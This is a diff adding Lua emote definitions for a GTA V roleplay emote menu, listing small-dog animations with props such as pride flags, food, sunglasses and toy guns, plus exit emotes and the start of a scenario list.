+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ SecondProp = 'prop_cs_sol_glasses',
+ SecondPropBone = 31086,
+ SecondPropPlacement = {
+ 0.0500,
+ 0.0300,
+ 0.000,
+ -100.0000003,
+ 90.00,
+ 0.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogdancepridef"] = {
+ "creatures@pug@move",
+ "idle_turn_0",
+ "Dance Pride F - Transgender (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag6', -- Transgender
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ SecondProp = 'prop_cs_sol_glasses',
+ SecondPropBone = 31086,
+ SecondPropPlacement = {
+ 0.0500,
+ 0.0300,
+ 0.000,
+ -100.0000003,
+ 90.00,
+ 0.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogdanceprideg"] = {
+ "creatures@pug@move",
+ "idle_turn_0",
+ "Dance Pride G - Non Binary (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag7', -- Non Binary
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ SecondProp = 'prop_cs_sol_glasses',
+ SecondPropBone = 31086,
+ SecondPropPlacement = {
+ 0.0500,
+ 0.0300,
+ 0.000,
+ -100.0000003,
+ 90.00,
+ 0.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogdanceprideh"] = {
+ "creatures@pug@move",
+ "idle_turn_0",
+ "Dance Pride H - Asexual (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag8', -- Asexual
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ SecondProp = 'prop_cs_sol_glasses',
+ SecondPropBone = 31086,
+ SecondPropPlacement = {
+ 0.0500,
+ 0.0300,
+ 0.000,
+ -100.0000003,
+ 90.00,
+ 0.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogdancepridei"] = {
+ "creatures@pug@move",
+ "idle_turn_0",
+ "Dance Pride I - Straight Ally (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag9', -- Straight Ally
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ SecondProp = 'prop_cs_sol_glasses',
+ SecondPropBone = 31086,
+ SecondPropPlacement = {
+ 0.0500,
+ 0.0300,
+ 0.000,
+ -100.0000003,
+ 90.00,
+ 0.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogbb"] = {
+ "creatures@pug@move",
+ "nill",
+ "Baseball (small dog)",
+ AnimationOptions = {
+ Prop = 'w_am_baseball',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1500,
+ -0.0500,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogburger"] = {
+ "creatures@pug@move",
+ "nill",
+ "Burger (small dog)",
+ AnimationOptions = {
+ Prop = 'prop_cs_burger_01',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1500,
+ -0.0400,
+ 0.0000,
+ -90.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogcontroller"] = {
+ "creatures@pug@move",
+ "nill",
+ "Controller (small dog)",
+ AnimationOptions = {
+ Prop = 'prop_controller_01',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1800,
+ -0.0300,
+ 0.0000,
+ -180.000,
+ 90.0000,
+ 0.0000
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogdolla"] = {
+ "creatures@pug@move",
+ "nill",
+ "Dollar Bill (small dog)",
+ AnimationOptions = {
+ Prop = 'p_banknote_onedollar_s',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1700,
+ -0.0100,
+ 0.0000,
+ 90.0000,
+ 0.0000,
+ 0.000
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogdolla2"] = {
+ "creatures@pug@move",
+ "nill",
+ "Dollar Bill Scrunched (small dog)",
+ AnimationOptions = {
+ Prop = 'bkr_prop_scrunched_moneypage',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1700,
+ 0.000,
+ 0.0000,
+ 90.0000,
+ 00.0000,
+ 00.0000
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogdolla3"] = {
+ "creatures@pug@move",
+ "nill",
+ "Money Stack (small dog)",
+ AnimationOptions = {
+ Prop = 'bkr_prop_money_wrapped_01',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1700,
+ -0.0100,
+ 0.0000,
+ 90.0000,
+ 0.0000,
+ 0.000
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogdolla4"] = {
+ "creatures@pug@move",
+ "nill",
+ "Money Bag (small dog)",
+ AnimationOptions = {
+ Prop = 'ch_prop_ch_moneybag_01a',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1200,
+ -0.2000,
+ 0.0000,
+ -79.9999997,
+ 90.00,
+ 0.0000
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogmic"] = {
+ "creatures@pug@move",
+ "nill",
+ "Microphone (small dog)",
+ AnimationOptions = {
+ Prop = 'p_ing_microphonel_01',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1500,
+ -0.0170,
+ 0.0300,
+ 0.000,
+ 0.0000,
+ 0.0000
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogteddy"] = {
+ "creatures@pug@move",
+ "nill",
+ "Teddy (small dog)",
+ AnimationOptions = {
+ Prop = 'v_ilev_mr_rasberryclean',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1500,
+ -0.1100,
+ -0.23,
+ 0.000,
+ 0.0000,
+ 0.0000
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogteddy2"] = {
+ "creatures@pug@amb@world_dog_sitting@idle_a",
+ "idle_b",
+ "Teddy 2 (small dog)",
+ AnimationOptions = {
+ Prop = 'v_ilev_mr_rasberryclean',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1500,
+ -0.1100,
+ -0.23,
+ 0.000,
+ 0.0000,
+ 0.0000
+ },
+ EmoteLoop = true,
+ ExitEmote = "sdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sdogtennis"] = {
+ "creatures@pug@move",
+ "nill",
+ "Tennis Ball (small dog)",
+ AnimationOptions = {
+ Prop = 'prop_tennis_ball',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1500,
+ -0.0600,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogtennisr"] = {
+ "creatures@pug@move",
+ "nill",
+ "Tennis Racket (small dog)",
+ AnimationOptions = {
+ Prop = 'prop_tennis_rack_01',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1500,
+ -0.0200,
+ 0.00,
+ 0.000,
+ 0.0000,
+ -28.0000
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogrose"] = {
+ "creatures@pug@move",
+ "nill",
+ "Rose (small dog)",
+ AnimationOptions = {
+ Prop = 'prop_single_rose',
+ PropBone = 12844,
+ PropPlacement = {
+ 0.1090,
+ -0.0140,
+ 0.0500,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogrose2"] = {
+ "creatures@pug@amb@world_dog_sitting@idle_a",
+ "idle_b",
+ "Rose Sit (small dog)",
+ AnimationOptions = {
+ Prop = 'prop_single_rose',
+ PropBone = 12844,
+ PropPlacement = {
+ 0.1090,
+ -0.0140,
+ 0.0500,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ ExitEmote = "sdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sdogggun"] = {
+ "creatures@pug@move",
+ "nill",
+ "Gun Gold (small dog)",
+ AnimationOptions = {
+ Prop = 'w_pi_pistol_luxe',
+ PropBone = 12844,
+ PropPlacement = {
+ 0.2010,
+ -0.0080,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdoggun2"] = {
+ "creatures@pug@amb@world_dog_sitting@idle_a",
+ "idle_b",
+ "Gun Gold Sit (small dog)",
+ AnimationOptions = {
+ Prop = 'w_pi_pistol_luxe',
+ PropBone = 12844,
+ PropPlacement = {
+ 0.2010,
+ -0.0080,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ ExitEmote = "sdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sdogstun"] = {
+ "creatures@pug@move",
+ "nill",
+ "Stun Gun (small dog)",
+ AnimationOptions = {
+ Prop = 'w_pi_stungun',
+ PropBone = 12844,
+ PropPlacement = {
+ 0.1400,
+ -0.0100,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ PtfxAsset = "core",
+ PtfxName = "blood_stungun",
+ PtfxPlacement = {
+ 0.208,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('stun'),
+ PtfxWait = 200
+ }
+ },
+ ["sdoggl1"] = {
+ "creatures@pug@move",
+ "nill",
+ "Aviators (small dog)",
+ AnimationOptions = {
+ Prop = 'prop_aviators_01',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.0500,
+ 0.0400,
+ 0.000,
+ -90.00,
+ 90.00,
+ 0.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdoggl2"] = {
+ "creatures@pug@amb@world_dog_sitting@idle_a",
+ "idle_b",
+ "Aviators Sitting (small dog)",
+ AnimationOptions = {
+ Prop = 'prop_aviators_01',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.0500,
+ 0.0400,
+ 0.000,
+ -90.00,
+ 90.00,
+ 0.00
+ },
+ EmoteLoop = true,
+ ExitEmote = "sdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sdoggl3"] = {
+ "creatures@pug@move",
+ "nill",
+ "Sunglasses (small dog)",
+ AnimationOptions = {
+ Prop = 'prop_cs_sol_glasses',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.0500,
+ 0.0300,
+ 0.000,
+ -100.0000003,
+ 90.00,
+ 0.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdoggl4"] = {
+ "creatures@pug@amb@world_dog_sitting@idle_a",
+ "idle_b",
+ "Sunglasses Sitting (small dog)",
+ AnimationOptions = {
+ Prop = 'prop_cs_sol_glasses',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.0500,
+ 0.0300,
+ 0.000,
+ -100.0000003,
+ 90.00,
+ 0.00
+ },
+ EmoteLoop = true,
+ ExitEmote = "sdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sdoghd1"] = {
+ "creatures@pug@move",
+ "nill",
+ "Hot Dog (small dog)",
+ AnimationOptions = {
+ Prop = 'prop_cs_hotdog_01',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1300,
+ -0.0250,
+ 0.000,
+ -88.272053,
+ -9.8465858,
+ -0.1488562
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdoghd2"] = {
+ "creatures@pug@amb@world_dog_sitting@idle_a",
+ "idle_b",
+ "Hot Dog Sitting (small dog)",
+ AnimationOptions = {
+ Prop = 'prop_cs_hotdog_01',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1300,
+ -0.0250,
+ 0.000,
+ -88.272053,
+ -9.8465858,
+ -0.1488562
+ },
+ EmoteLoop = true,
+ ExitEmote = "sdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sdoghlmt1"] = {
+ "creatures@pug@move",
+ "nill",
+ "Helmet 1 (small dog)",
+ AnimationOptions = {
+ Prop = 'ba_prop_battle_sports_helmet',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.00,
+ -0.0200,
+ 0.000,
+ -90.00,
+ 90.00,
+ 0.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdoghlmt2"] = {
+ "creatures@pug@move",
+ "nill",
+ "Helmet 2 (small dog)",
+ AnimationOptions = {
+ Prop = 'prop_hard_hat_01',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.00,
+ 0.1300,
+ 0.000,
+ -90.00,
+ 90.00,
+ 0.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdoghat"] = {
+ "creatures@pug@move",
+ "nill",
+ "Hat 1 (small dog)",
+ AnimationOptions = {
+ Prop = 'prop_proxy_hat_01',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.0,
+ 0.1200,
+ 0.000,
+ -99.8510766,
+ 80.1489234,
+ 1.7279411
+ },
+ SecondProp = 'prop_aviators_01',
+ SecondPropBone = 31086,
+ SecondPropPlacement = {
+ 0.0500,
+ 0.0400,
+ 0.000,
+ -90.00,
+ 90.00,
+ 0.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdoghat2"] = {
+ "creatures@pug@amb@world_dog_sitting@idle_a",
+ "idle_b",
+ "Hat 2 Sitting (small dog)",
+ AnimationOptions = {
+ Prop = 'prop_proxy_hat_01',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.0,
+ 0.1200,
+ 0.000,
+ -99.8510766,
+ 80.1489234,
+ 1.7279411
+ },
+ SecondProp = 'prop_aviators_01',
+ SecondPropBone = 31086,
+ SecondPropPlacement = {
+ 0.0500,
+ 0.0400,
+ 0.000,
+ -90.00,
+ 90.00,
+ 0.00
+ },
+ EmoteLoop = true,
+ ExitEmote = "sdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sdogsteak"] = {
+ "creatures@pug@move",
+ "nill",
+ "Steak (small dog)",
+ AnimationOptions = {
+ Prop = 'prop_cs_steak',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1800,
+ -0.0200,
+ 0.000,
+ 90.00,
+ 0.00,
+ 0.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogsteak2"] = {
+ "creatures@pug@amb@world_dog_sitting@idle_a",
+ "idle_c",
+ "Steak 2 Lay Down (small dog)",
+ AnimationOptions = {
+ Prop = 'prop_cs_steak',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1800,
+ -0.0200,
+ 0.000,
+ 90.00,
+ 0.00,
+ 0.00
+ },
+ EmoteLoop = true,
+ ExitEmote = "sdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sdogpridea"] = {
+ "creatures@pug@move",
+ "nill",
+ "Pride A (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag1',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogprideb"] = {
+ "creatures@pug@move",
+ "nill",
+ "Pride B - LGBTQIA (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag2', -- LGBTQIA
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogpridec"] = {
+ "creatures@pug@move",
+ "nill",
+ "Pride C - Bisexual (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag3', -- Bisexual
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogprided"] = {
+ "creatures@pug@move",
+ "nill",
+ "Pride D - Lesbian (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag4', -- Lesbian
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogpridee"] = {
+ "creatures@pug@move",
+ "nill",
+ "Pride E - Pansexual (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag5', -- Pansexual
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogpridef"] = {
+ "creatures@pug@move",
+ "nill",
+ "Pride F - Transgender (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag6', -- Transgender
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogprideg"] = {
+ "creatures@pug@move",
+ "nill",
+ "Pride G - Non Binary (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag6', -- Non Binary
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogprideh"] = {
+ "creatures@pug@move",
+ "nill",
+ "Pride H - Non Binary (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag7', -- Non Binary
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogpridei"] = {
+ "creatures@pug@move",
+ "nill",
+ "Pride I - Asexual (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag8', -- Asexual
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogpridesita"] = {
+ "creatures@pug@amb@world_dog_sitting@idle_a",
+ "idle_b",
+ "Pride A Sit (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag1',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ EmoteLoop = true,
+ ExitEmote = "sdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sdogpridesitb"] = {
+ "creatures@pug@amb@world_dog_sitting@idle_a",
+ "idle_b",
+ "Pride B Sit LGBTQIA (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag2', -- LGBTQIA
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ EmoteLoop = true,
+ ExitEmote = "sdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sdogpridesitc"] = {
+ "creatures@pug@amb@world_dog_sitting@idle_a",
+ "idle_b",
+ "Pride C Sit Bisexual (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag3', -- Bisexual
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ EmoteLoop = true,
+ ExitEmote = "sdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sdogpridesitd"] = {
+ "creatures@pug@amb@world_dog_sitting@idle_a",
+ "idle_b",
+ "Pride D Sit Lesbian (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag4', -- Lesbian
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ EmoteLoop = true,
+ ExitEmote = "sdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sdogpridesite"] = {
+ "creatures@pug@amb@world_dog_sitting@idle_a",
+ "idle_b",
+ "Pride E Sit Pansexual (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag5', -- Pansexual
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ EmoteLoop = true,
+ ExitEmote = "sdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sdogpridesitf"] = {
+ "creatures@pug@amb@world_dog_sitting@idle_a",
+ "idle_b",
+ "Pride F Sit Transgender (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag6', -- Transgender
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ EmoteLoop = true,
+ ExitEmote = "sdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sdogpridesitg"] = {
+ "creatures@pug@amb@world_dog_sitting@idle_a",
+ "idle_b",
+ "Pride G Sit Non Binary (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag7', -- Non Binary
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ EmoteLoop = true,
+ ExitEmote = "sdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sdogpridesith"] = {
+ "creatures@pug@amb@world_dog_sitting@idle_a",
+ "idle_b",
+ "Pride H Sit Asexual (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag8',
+ -- Asexual
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ EmoteLoop = true,
+ ExitEmote = "sdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sdogpridesiti"] = {
+ "creatures@pug@amb@world_dog_sitting@idle_a",
+ "idle_b",
+ "Pride I Sit Straight Ally (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag9', -- Straight Ally
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ EmoteLoop = true,
+ ExitEmote = "sdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sdogpee"] = {
+ "creatures@pug@move",
+ "nill",
+ "Pee (Small Dog)",
+ AnimationOptions = {
+ EmoteLoop = true,
+ PtfxAsset = "scr_amb_chop",
+ PtfxName = "ent_anim_dog_peeing",
+ PtfxNoProp = true,
+ PtfxPlacement = {
+ -0.01,
+ -0.17,
+ 0.09,
+ 0.0,
+ 90.0,
+ 140.0,
+ 1.0
+ },
+ PtfxInfo = Translate('pee'),
+ PtfxWait = 0,
+ PtfxCanHold = true
+ }
+ },
+ ["sdogshit"] = {
+ "creatures@pug@move",
+ "nill",
+ "Shit (Small Dog)",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_amb_chop",
+ PtfxName = "ent_anim_dog_poo",
+ PtfxNoProp = true,
+ PtfxBone = 11816,
+ PtfxPlacement = {
+ -0.0330,
+ 0.0210,
+ -0.0040,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.5
+ },
+ PtfxInfo = Translate('poop'),
+ PtfxWait = 0,
+ PtfxCanHold = true
+ }
+ },
+ ["sdogfw"] = {
+ "creatures@pug@move",
+ "nill",
+ "Firework - Small Dog",
+ AnimationOptions = {
+ Prop = 'ind_prop_firework_01', --- blue, green, red, purple pink, cyan, yellow, white
+ PtfxColor = {{R = 255, G = 0, B = 0, A = 1.0}, {R = 0, G = 255, B = 0, A = 1.0}, {R = 0, G = 0, B = 255, A = 1.0}, {R = 177, G = 5, B = 245, A = 1.0}, {R = 251, G = 3, B = 255, A = 1.0}, {R = 2, G = 238, B = 250, A = 1.0}, {R = 252, G = 248, B = 0, A = 1.0}, {R = 245, G = 245, B = 245, A = 1.0}},
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1330,
+ -0.0210,
+ -0.2760,
+ 0.0,
+ -180.0,
+ 44.0000
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_indep_fireworks",
+ PtfxName = "scr_indep_firework_trail_spawn",
+ PtfxPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.6
+ },
+ PtfxInfo = Translate('firework'),
+ PtfxWait = 200
+ }
+ },
+ ["sdogfris"] = {
+ "creatures@pug@move",
+ "nill",
+ "Frisbee (small dog)",
+ AnimationOptions = {
+ Prop = 'p_ld_frisbee_01',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1900,
+ -0.0150,
+ 0.0000,
+ -90.0000,
+ 120.0000,
+ 0.000,
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+}
+
+
+--- EXIT EMOTES ---
+
+RP.Exits = {
+
+------ HUMAN EXIT EMOTES ------
+
+ ["getup"] = {
+ "get_up@sat_on_floor@to_stand",
+ "getup_0",
+ "Get Up",
+ AnimationOptions = {
+ EmoteDuration = 2000,
+ StartDelay = 600
+ }
+ },
+ ["standup"] = {
+ "get_up@directional@movement@from_knees@injured",
+ "getup_l_0",
+ "Stand Up",
+ AnimationOptions = {
+ EmoteDuration = 2000,
+ StartDelay = 600
+ }
+ },
+ ["surrender_exit"] = {
+ "random@arrests",
+ "kneeling_arrest_get_up",
+ "Surrender Exit",
+ AnimationOptions = {
+ EmoteDuration = 2200
+ }
+ },
+ ["offchair"] = {
+ "switch@michael@sitting",
+ "exit_forward",
+ "Off Chair",
+ AnimationOptions = {
+ EmoteDuration = 1000
+ }
+ },
+ ["offtable"] = {
+ "anim@amb@board_room@diagram_blueprints@",
+ "look_around_01_amy_skater_01",
+ "Off Tabble",
+ AnimationOptions = {
+ EmoteDuration = 5700
+ }
+ },
+ ["phoneaway"] = {
+ "amb@world_human_stand_mobile@male@text@exit",
+ "exit",
+ "Phone Away",
+ AnimationOptions = {
+ EmoteDuration = 1780,
+ StartDelay = 1150,
+ EmoteMoving = true
+ }
+ },
+ ["breakfreefont"] = {
+ "mp_arresting",
+ "a_uncuff",
+ "Break Free Front",
+ AnimationOptions = {
+ EmoteDuration = 6099,
+ StartDelay = 450,
+ EmoteMoving = true
+ }
+ },
+ ["breakfreeback"] = {
+ "mp_arresting",
+ "b_uncuff",
+ "Break Free Back",
+ AnimationOptions = {
+ EmoteDuration = 6099,
+ StartDelay = 450,
+ EmoteMoving = true
+ }
+ },
+ ["shakeitoffhuman"] = {
+ "move_m@_idles@shake_off",
+ "shakeoff_1",
+ "Shake Off The Rain",
+ AnimationOptions = {
+ EmoteDuration = 2899,
+ StartDelay = 850,
+ EmoteMoving = true
+ }
+ },
+------ ANIMAL EXIT EMOTES ------
+ ["sdogup"] = {
+ "creatures@pug@amb@world_dog_sitting@exit",
+ "exit",
+ "Small Dog Get Up",
+ AnimationOptions = {
+ EmoteDuration = 1000
+ }
+ },
+ ["bdogup"] = {
+ "creatures@rottweiler@amb@world_dog_sitting@exit",
+ "exit",
+ "Big Dog Get Up",
+ AnimationOptions = {
+ EmoteDuration = 1000
+ }
+ },
+ ["bdogupk"] = {
+ "creatures@rottweiler@amb@sleep_in_kennel@",
+ "exit_kennel",
+ "Big Dog Get Up V2",
+ AnimationOptions = {
+ EmoteDuration = 5000
+ }
+ }
+}
+
+
+--- SCENARIOS ---
+--- EMOTES NO PROPS ---
+
+RP.Emotes = {
+
+ -----------------------------------------------------------------------------------------------------------
+ ------ The male and female 'interaction menu' emotes from GTA Online can be found under the following animation directories:
+ ------
+ ------ Male: anim@mp_player_intcelebrationmale
+ ------
+ ------ Female: anim@mp_player_intcelebrationfemale
+
+ -----------------------------------------------------------------------------------------------------------
+ ------ THESE ARE SCENARIOS, SOME OF THESE DON'T WORK ON WOMEN AND SOME OTHER ISSUES, BUT STILL GOOD TO HAVE ------
+ -----------------------------------------------------------------------------------------------------------
+ ["atm"] = {
+ "Scenario",
+ "PROP_HUMAN_ATM",
+ "ATM"
+ },
+ ["bbq"] = {
+ "MaleScenario",
+ "PROP_HUMAN_BBQ",
+ "BBQ"
+ },
+ ["bumbin"] = {
+ "Scenario",
+ "PROP_HUMAN_BUM_BIN",
+ "Bum Bin"
+ },
+ ["cheer"] = {
+ "Scenario",
+ "WORLD_HUMAN_CHEERING",
+ "Cheer"
+ },
+ ["chinup"] = {
+ "Scenario",
+ "PROP_HUMAN_MUSCLE_CHIN_UPS",
+ "Chinup"
+ },
+ ["clipboard2"] = {
+ "MaleScenario",
+ "WORLD_HUMAN_CLIPBOARD",
+ "Clipboard 2"
+ },
+ ["cop"] = {
+ "Scenario",
